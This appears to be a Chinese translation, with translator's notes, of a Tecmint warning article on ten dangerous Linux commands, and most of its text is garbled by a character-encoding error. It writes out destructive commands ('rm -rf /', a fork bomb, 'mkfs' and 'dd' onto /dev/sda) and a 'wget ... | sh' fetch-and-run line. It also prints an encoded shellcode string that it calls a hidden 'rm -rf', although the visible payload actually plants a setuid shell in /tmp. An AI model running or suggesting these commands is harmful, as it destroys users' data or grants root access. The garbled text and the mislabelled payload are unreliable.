‘壹’ Linux镓ц岀殑10涓链鍗遍橹镄勫懡浠ゆ槸鍝浜
Linux锻戒护琛屼椒链夌敤銆佸緢楂樻晥锛屼篃寰堟湁瓒ｏ纴浣嗘湁镞跺欎篃寰埚嵄闄╋纴灏ゅ叾鏄鍦ㄤ綘涓岖‘瀹氢綘镊宸卞湪姝ｅ湪锅氢粈涔堟椂鍊欍傝繖绡囨枃绔犲苟涓嶆墦绠楀紩𨱒ヤ綘瀵筁inux鎴杔inux锻戒护琛岀殑镒ゆ掋傛垜浠鍙鏄𨱍宠╀綘镒忚瘑鍒板湪浣犺繍琛屾煇浜涘懡浠ゆ椂搴旇ヤ笁镐濊屽悗琛屻傦纸璇戞敞锛氩綋铹讹纴浠ヤ笅锻戒护阃氩父閮芥槸鍦╮oot𨱒冮檺涓嬫墠鑳藉皢镒氲牏鍙戞尌鍒版棤鍙鏁戣嵂锛涘湪鏅阃氱敤鎴疯韩浠戒笅锛岀牬鍧忕殑鍙鏄镊宸辩殑涓浜╀笁鍒嗗湴銆傦级
1. rm -rf锻戒护
rm -rf锻戒护鏄鍒犻櫎鏂囦欢澶瑰强鍏跺唴瀹规渶蹇镄勬柟寮忎箣涓銆备粎浠呬竴涓佺偣镄勬暡阌欐垨镞犵煡閮藉彲鑳藉艰嚧涓嶅彲鎭㈠岖殑绯荤粺宕╁潖銆备笅鍒楁槸涓浜况m锻戒护镄勯夐”銆
rm銆锻戒护鍦↙inux涓嬮氩父鐢ㄦ潵鍒犻櫎鏂囦欢銆
rm -r锻戒护阃掑綊镄勫垹闄ゆ枃浠跺す锛岀敋镊虫槸绌虹殑鏂囦欢澶广傦纸璇戞敞锛氢釜浜鸿や负姝ゅ勫簲璇ユ槸璇撮敊浜嗭纴浠庡父璇嗙湅锛屽簲璇ユ槸钬灭敋镊虫槸闱炵┖镄勬枃浠跺す钬濓级
rm -f锻戒护鑳戒笉缁忚繃璇㈤梾鐩存帴鍒犻櫎钬桦彧璇绘枃浠垛欍傦纸璇戞敞锛歀inux涓嫔垹闄ゆ枃浠跺苟涓嶅湪涔庤ユ枃浠舵槸钖︽槸鍙璇荤殑锛岃屽彧鏄鍦ㄦ剰鍏剁埗鐩褰曟槸钖︽湁鍐欐潈闄愩傛墍浠ワ纴-f杩欎釜鍙傛暟鍙鏄琛ㄧず涓嶅繀涓涓涓鍒犻櫎纭璁わ纴钥屾槸涓寰嬫倓鎭勫垹闄ゃ傚彟澶栵纴铡熷嬬殑rm锻戒护鍏跺疄涔熸槸娌℃湁鍒犻櫎鎻愮ず镄勶纴鍙鏄涓鑸镄勫彂琛岀増閮戒细灏唕m阃氲繃鍒钖岖殑鏂瑰纺澧炲姞-i鍙傛暟𨱒ヨ佹眰鍒犻櫎纭璁わ纴钥-f鍒欐姂鍒朵简杩欎釜鎻愮ず銆傦级
rm -rf / :寮哄埗鍒犻櫎镙圭洰褰曚笅镓链変笢涓溿傦纸灏辨槸璇村垹闄ゅ畬姣曞悗锛屼粈涔堜篃娌℃湁浜嗐伞伞傦级
rm -rf *:銆寮哄埗鍒犻櫎褰揿墠鐩褰旷殑镓链夋枃浠躲
rm -rf . :寮哄埗鍒犻櫎褰揿墠鏂囦欢澶瑰强鍏跺瓙鏂囦欢澶广
浠庣幇鍦ㄨ捣锛屽綋浣犺佹墽琛宺m -rf锻戒护镞惰风暀蹇冧竴镣广傛垜浠鍙浠ュ湪钬.bashrc钬濇枃浠跺光榬m钬桦懡浠ゅ垱寤簉m -i镄勫埆钖嶏纴𨱒ラ勯槻鐢ㄢ榬m钬桦懡浠ゅ垹闄ゆ枃浠舵椂镄勪簨鏁咃纴瀹冧细瑕佹眰浣犵‘璁ゆ疮涓涓鍒犻櫎璇锋眰銆傦纸璇戞敞锛氩ぇ澶氭暟鍙戣岀増宸茬粡杩欐牱锅氢简锛屽傛灉杩樻病链夛纴璇疯繖镙峰仛锛屽苟鍦ㄤ娇鐢-f鍙傛暟鍓崭竴瀹氲冭槛濂戒綘鍦ㄥ仛浠涔堬紒璇戣呮湰浜烘湁镌琛娉镄勬暀璁鍟娿傦级
2. :(){:|:&};:锻戒护
杩椤氨鏄涓猣ork镣稿脊镄勫疄渚嬨傚叿浣撴搷浣沧槸阃氲繃瀹氢箟涓涓钖崭负钬:钬樼殑鍑芥暟锛屽畠浼氲皟鐢ㄨ嚜宸变袱娆★纴涓娆″湪鍓嶅彴鍙︿竴娆¤繍琛屽湪钖庡彴銆傚畠浼氩弽澶岖殑镓ц屼笅铡荤洿鍒扮郴缁熷穿婧冦
:(){:|:&};:鍝︼纻浣犵‘璁や綘瑕佽瘯璇曚箞锛熷崈涓囧埆鍦ㄥ叕鍙告ｅ纺镄勬湇锷″櫒涓婂疄楠屽晩~~
3.锻戒护銆> /dev/sda
涓婂垪锻戒护浼氩皢镆愪釜钬桦懡浠も樼殑杈揿嚭鍐椤埌鍧楄惧/dev/sda涓銆傝ユ搷浣滀细灏嗗湪鍧楄惧囦腑镄勬墍链夋暟鎹鍧楁浛鎹涓哄懡浠ゅ啓鍏ョ殑铡熷嬫暟鎹锛屼粠钥屽艰嚧鏁翠釜鍧楄惧囩殑鏁版嵁涓㈠け銆
4. mv鏂囦欢澶/dev/null
杩欎釜锻戒护浼氱Щ锷ㄦ煇涓钬樻枃浠跺す钬桦埌/dev/null銆傚湪Linux涓/dev/null鎴杗ull璁惧囨槸涓涓鐗规畩镄勬枃浠讹纴镓链夊啓鍏ュ畠镄勬暟鎹閮戒细琚娓呴櫎锛岀劧钖庤繑锲炲啓镎崭綔鎴愬姛銆傦纸璇戞敞锛氲繖灏辨槸榛戞礊鍟娿傚綋铹讹纴瑕佽存槑镄勬槸锛岄氲繃灏嗘枃浠跺す绉诲姩鍒伴粦娲烇纴骞朵笉鑳介樆姝㈡暟鎹鎭㈠嶈蒋浠剁殑鏁戣祹锛屾墍浠ワ纴鐪熸ｇ殑褰诲簳姣佺伃锛岄渶瑕侀噰鐢ㄤ笓鐢ㄧ殑杞浠舵垨钥呮坠娉曟潵瀹屾垚钬斺旀垜鐭ラ亾浣犺偗瀹氭湁浜涗笢瑗挎兂鍒犻櫎寰楀共骞插噣鍑镄勚傦级
# mv /home/user/* /dev/null涓婂垪锻戒护浼氩皢User鐩褰曟墍链夊唴瀹圭Щ锷ㄥ埌/dev/null锛岃繖镒忓懗镌镓链変笢瑗块兘琚钬桦嵎鍏モ欓粦娲炪(null)涔嬩腑銆
5. wget http://malicious_source -O- | sh
涓婂垪锻戒护浼氢粠涓涓锛堜篃璁告槸锛夋伓镒忔簮涓嬭浇涓涓鑴氭湰骞舵墽琛屻俉get锻戒护浼氢笅杞借繖涓鑴氭湰锛岃宻h浼氾纸镞犳浔浠剁殑锛夋墽琛屼笅杞戒笅𨱒ョ殑鑴氭湰銆
娉ㄦ剰:浣犲簲璇ユ椂鍒绘敞镒忎綘涓嬭浇鍖呮垨鑴氭湰镄勬簮銆傚彧鑳戒娇鐢ㄩ偅浜涗粠鍙淇′换镄勬簮涓涓嬭浇鑴氭湰/绋嫔簭銆傦纸璇戞敞锛氭墍浠ワ纴浣犵湡镄勭煡阆扑綘鍦ㄥ仛浠涔埚悧锛熷綋阆囧埌杩欑嶉渶瑕佹槸锛屾垜镄勫仛娉曟槸锛屽厛wget涓嬫潵锛岀劧钖庢垜铡昏讳竴璇诲叾涓鍒板簳鍐欎简浜涗粈涔堬纴铹跺悗钥冭槛鏄钖︽墽琛屻傦级
6. mkfs.ext3 /dev/sda
涓婂垪锻戒护浼氭牸寮忓寲鍧楄惧団荣da钬欙纴浣犳棤鐤戠煡阆揿湪镓ц屼笂鍒楀懡浠ゅ悗浣犵殑鍧楄惧(纭鐩橀┍锷ㄥ櫒)浼氲镙煎纺鍖栵纴宕鏂扮殑!娌℃湁浠讳綍鏁版嵁锛岀洿鎺ヨ╀綘镄勭郴缁熻揪鍒颁笉鍙鎭㈠岖殑阒舵点傦纸璇戞敞锛氶氩父涓崭细鐩存帴浣跨敤/dev/sda杩欐牱镄勮惧囷纴闄ら潪鏄浣滀负raw璁惧囦娇鐢锛屼竴鑸閮介渶瑕佸皢sda鍒嗘垚绫讳技sda1銆乻da2杩欐牱镄勫垎鍖哄悗镓崭娇鐢ㄣ傚綋铹讹纴镞犺轰綘浣跨敤sda杩樻槸sda1锛岃繖镙峰瑰潡璁惧囨垨鍒嗗尯杩涜宫kfs閮芥槸姣佺伃镐х殑锛屼笂闱㈢殑鏁版嵁閮戒细琚钂稿彂浜嗐傦级
7. > file
涓婂垪锻戒护甯哥敤𨱒ユ竻绌烘枃浠跺唴瀹癸纸璇戞敞锛氶氩父涔熺敤浜庤板綍锻戒护杈揿嚭銆备笉杩囱峰湪镓ц屽墠锛岀‘璁よ緭鍑虹殑鏂囦欢鏄绌虹殑鎴栬呰缮涓嶅瓨鍦锛屽惁鍒椤师𨱒ョ殑鏂囦欢鍙鐪熸槸鎭㈠崭笉浜嗕简钬斺旇繛鏁版嵁鎭㈠嶈蒋浠堕兘链蹇呰兘甯锷╀綘浜嗐傚彟澶栵纴鎴戞兂浣犲彲鑳界湡姝ｆ兂鐢ㄧ殑鏄钬>>钬濓纴鍗崇疮锷犳柊镄勮緭鍑哄埌鏂囦欢锛岃屼笉鏄鍒锋柊闾ｄ釜鏂囦欢銆傦级銆傚傛灉鐢ㄤ笂鍒楁墽琛屾椂杈揿叆阌栾鎴栨棤鐭ョ殑杈揿叆绫讳技钬> xt.conf钬濄镄勫懡浠や细瑕嗙洊閰岖疆鏂囦欢鎴栧叾浠栦换浣旷殑绯荤粺閰岖疆鏂囦欢銆
8. ^foo^bar
杩欎釜锻戒护鍦ㄦ垜浠鍗佷釜椴滀负浜虹煡镄凩inux锻戒护- Part 3涓鎻忚堪杩囷纴鐢ㄦ潵缂栬緫鍏埚墠杩愯岀殑锻戒护钥屾棤闇閲嶆墦鏁翠釜锻戒护銆备絾褰撶敤foobar锻戒护镞跺傛灉浣犳病链夊交搴曟镆ユ敼鍙桦师濮嫔懡浠ょ殑椋庨橹锛岃繖鍙鑳藉艰嚧鐪熸ｇ殑楹荤储銆傦纸璇戞敞锛氢簨瀹炰笂锛岃繖绉嶅皬鎶宸ф槸璇戣呰や负镄勶纴灏戞暟鍙插墠镞朵唬阆楃暀涓嬫潵镄勬棤鐢ㄨ屾湁瀹崇殑钬滈粦瀹⑩濇妧宸с傦级
9. dd if=/dev/random of=/dev/sda
涓婂垪锻戒护浼氩悜鍧楄惧噑da鍐椤叆闅忔満镄勫瀮鍦炬枃浠朵粠钥屾摝鍑烘暟鎹銆傚綋铹讹紒浣犵殑绯荤粺鍙鑳介櫡鍏ユ贩涔卞拰涓嶅彲鎭㈠岖殑鐘舵併傦纸璇戞敞锛氲板缑涓婇溃璇磋繃mv鍒伴粦娲炲苟涓嶈兘褰诲簳鍒犻櫎鏁版嵁涔堬纻闾ｄ箞杩欎釜锻戒护灏辨槸缁欎简浣犱竴涓褰诲簳鍒犻櫎镄勬柟娉曪紒褰撶劧涓轰简淇濋橹璧疯侊纴浣犲彲浠ヨ嗗啓澶氭°傦级
10.闅愯棌锻戒护
涓嬮溃镄勫懡浠ゅ叾瀹炲氨鏄涓婇溃绗涓涓锻戒护(rm -rf)銆傝繖閲岀殑浠ｇ爜鏄闅愯棌鍦ㄥ崄鍏杩涘埗閲岀殑,涓涓镞犵煡镄勭敤鎴峰彲鑳藉氨浼氲镒氩纰銆傚湪缁堢閲岃繍琛屼笅闱㈠懡浠ゅ彲鑳戒细镎﹂櫎浣犵殑镙瑰垎鍖恒
杩欎釜锻戒护琛ㄦ槑阃氩父鐪熸ｇ殑鍗遍橹鏄闅愯棌镄勶纴涓崭细琚杞绘槗镄勬娴嫔埌銆备綘蹇呴’镞跺埢鐣椤绩浣犲湪锅氢粈涔堢粨鏋滀细镐庢牱銆备笉瑕佺紪璇/杩愯屼粠链鐭ユ潵婧愮殑浠ｇ爜銆
char esp[] __attribute__ ((section(钬.text钬))) /* e.s.p
release */
=钬ë>[1ÀPTZƒ矛dh钬
钬ÿÿÿÿhßÐßÙh™钬
钬ßh钬ßÒT^梅梅钬
钬淰梅V梅VƒÄtV钬
钬渟VSTY掳Í€1钬
钬À@ë霉猫½ÿÿÿ/bi钬
钬渘/sh-c钬
钬渃p -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;钬;娉ㄦ剰:涓嶈佸湪浣犵殑鎴栦綘镄勫悓瀛︽垨瀛︽牎镄勭数鑴戦噷镄凩inux缁堢鎴朣hell镓ц屼互涓婄殑浠讳綍涓涓锻戒护銆傚傛灉浣犳兂娴嬭瘯瀹冧滑锛岃峰湪铏氭嫙链轰笂杩愯屻备换浣曚笉鍜岃皭鎴栨暟鎹涓㈠け锛岀敱浜庤繍琛屼笂闱㈢殑锻戒护瀵艰嚧浣犵殑绯荤粺宕╂簝锛屾枃绔犱綔钥呭拰Tecmint姒备笉璐熻矗銆傦纸璇戞敞锛氲疟钥呭拰杞杞界绣绔欎篃涓嶈礋璐~锛侊级